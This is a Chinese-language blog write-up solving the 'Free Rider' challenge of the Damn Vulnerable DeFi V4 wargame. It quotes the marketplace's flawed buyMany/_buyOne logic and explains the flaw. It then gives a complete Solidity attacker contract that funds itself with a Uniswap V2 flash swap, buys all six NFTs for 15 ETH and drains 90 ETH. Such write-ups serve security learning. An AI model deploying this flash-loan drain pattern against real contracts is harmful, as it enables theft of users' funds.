Damn-vulnerable-defi-V4-solution(Free Rider)

jerichou
2025-09-03 / 0 评论 / 2 阅读 / 正在检测是否收录...

一、Free Rider

mf39hqq5.png

背景:

我们有一个 NFT 市场,目前出售 6 个 NFT 代币,每个售价 15 ETH。我们初始资金只有 0.1 ETH,希望取回所有 NFT 代币并将其转交给recovery Manager,并获得 45 ETH 的赏金。

marketplace 合约存在严重缺陷。

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; ++i) {
            unchecked {
                _buyOne(tokenIds[i]);
            }
        }
    }

    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        if (priceToPay == 0) {
            revert TokenNotOffered(tokenId);
        }

        if (msg.value < priceToPay) {
            revert InsufficientPayment();
        }

        --offersCount;

        // transfer from seller to buyer
        DamnValuableNFT _token = token; // cache for gas savings
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller using cached token
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

当我们调用buyMany 时,我们只需要msg.value >= price(15 ETH)。请注意,在_buyOne循环的每次迭代中, msg.value的值都是相同的。合约中存在逻辑问题。

_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay)
  1. _token.safeTransferFrom(...) 会把 tokenId 的 所有权 从原主人转到 msg.sender(买家)。
  2. 转移之后,再执行 _token.ownerOf(tokenId) → 这时候返回的就是 买家地址
  3. sendValue(priceToPay) 把钱转给了 msg.sender(买家自己)。
攻击思路:

只需从 15 ETH 开始,我们就能获得全部 6 个 NFT,并从市场中抽走 90 ETH。所以现在唯一的问题是我们需要 15 ETH,但player只有 0.1 ETH。需要注意的是,市场中还有一个 Uniswap v2 池,位于 WETH 和 DVT 之间。Uniswap v2 池不仅可以用于代币兑换,还可以用于闪电贷。闪电贷的执行方式是调用swap借入一个代币,然后执行回调函数返还借入的金额,同时执行上面描述的攻击逻辑。

另请注意,市场使用safeTransferFrom而不是transferFrom来转移 NFT 代币,因此这需要我们实现一个onERC721Received函数。

在safeTransferFrom 函数中调用了ERC721Utils.checkOnERC721Received,在checkOnERC721Received 函数中对接收 NFT 的地址做了检查,必须要是合约并且实现了onERC721Received 函数的返回值是IERC721Receiver.onERC721Received.selector 否则将 revert

function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {
        transferFrom(from, to, tokenId);
        ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data);
    }
    
function checkOnERC721Received(
        address operator,
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) internal {
        if (to.code.length > 0) {
            try IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4 retval) {
                if (retval != IERC721Receiver.onERC721Received.selector) {
                    // Token rejected
                    revert IERC721Errors.ERC721InvalidReceiver(to);
                }
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    // non-IERC721Receiver implementer
                    revert IERC721Errors.ERC721InvalidReceiver(to);
                } else {
                    assembly ("memory-safe") {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        }
    }
}

还有一个小细节是,我们需要搞清楚 WETH 和 DVT 之间哪个是token0,哪个是token1。地址较小的那个是token0,通过打印地址,我们可以看到 WETH 是token0

function test_freeRider() public checkSolvedByPlayer {
        Attacker attacker = new Attacker{value: PLAYER_INITIAL_ETH_BALANCE}(
            weth, uniswapPair, marketplace, nft, recoveryManager, player
        );
        attacker.attack();
    }
contract Attacker {
    WETH weth;
    IUniswapV2Pair uniswapPair;
    FreeRiderNFTMarketplace marketplace;
    DamnValuableNFT nft;
    FreeRiderRecoveryManager recoveryManager;
    address player;

    constructor(
        WETH _weth,
        IUniswapV2Pair _uniswapPair,
        FreeRiderNFTMarketplace _marketplace,
        DamnValuableNFT _nft,
        FreeRiderRecoveryManager _recoveryManager,
        address _player
    ) payable {
        weth = _weth;
        weth.deposit{value: msg.value}();
        uniswapPair = _uniswapPair;
        marketplace = _marketplace;
        nft = _nft;
        recoveryManager = _recoveryManager;
        player = _player;
    }

    function attack() external payable {
        //console.log(address(this).balance); =》 0
        uniswapPair.swap(15 ether, 0, address(this), hex"aabbcc");
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {
        require(sender == address(this), "!sender");
        require(msg.sender == address(uniswapPair), "!pair");
        // console.log(address(this).balance); =》 0
        uint256[] memory tokenIds = new uint256[](6);
        for (uint256 i = 0; i < 6; i++) {
            tokenIds[i] = i;
        }
        
        weth.withdraw(amount0);
        // console.log(address(this).balance); =》 15000000000000000000
        marketplace.buyMany{value: 15 ether}(tokenIds);
        // console.log(address(this).balance); =》 90000000000000000000
        for (uint256 i = 0; i < 6; i++) {
            nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
        }
        // console.log(address(this).balance); =》90000000000000000000
        weth.deposit{value: 15 ether}();
        // Calculate flash swap fee and amount to repay
        // fee = borrowed amount * 3 / 997 + 1 to round up
        uint256 fee = (amount0 * 3) / 997 + 1;
        uint256 amountToRepay = amount0 + fee;

        // Repay Uniswap V2 pair
        // console.log(weth.balanceOf(address(this))); =》 15100000000000000000
        // console.log(amountToRepay); =》 15045135406218655968
        weth.transfer(address(uniswapPair), amountToRepay);
        // console.log(address(this).balance); =》75000000000000000000
        (bool success,) = player.call{value: address(this).balance}("");
        if (!success) revert();
    }

    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
    fallback() external payable {}
}
1

评论 (0)

取消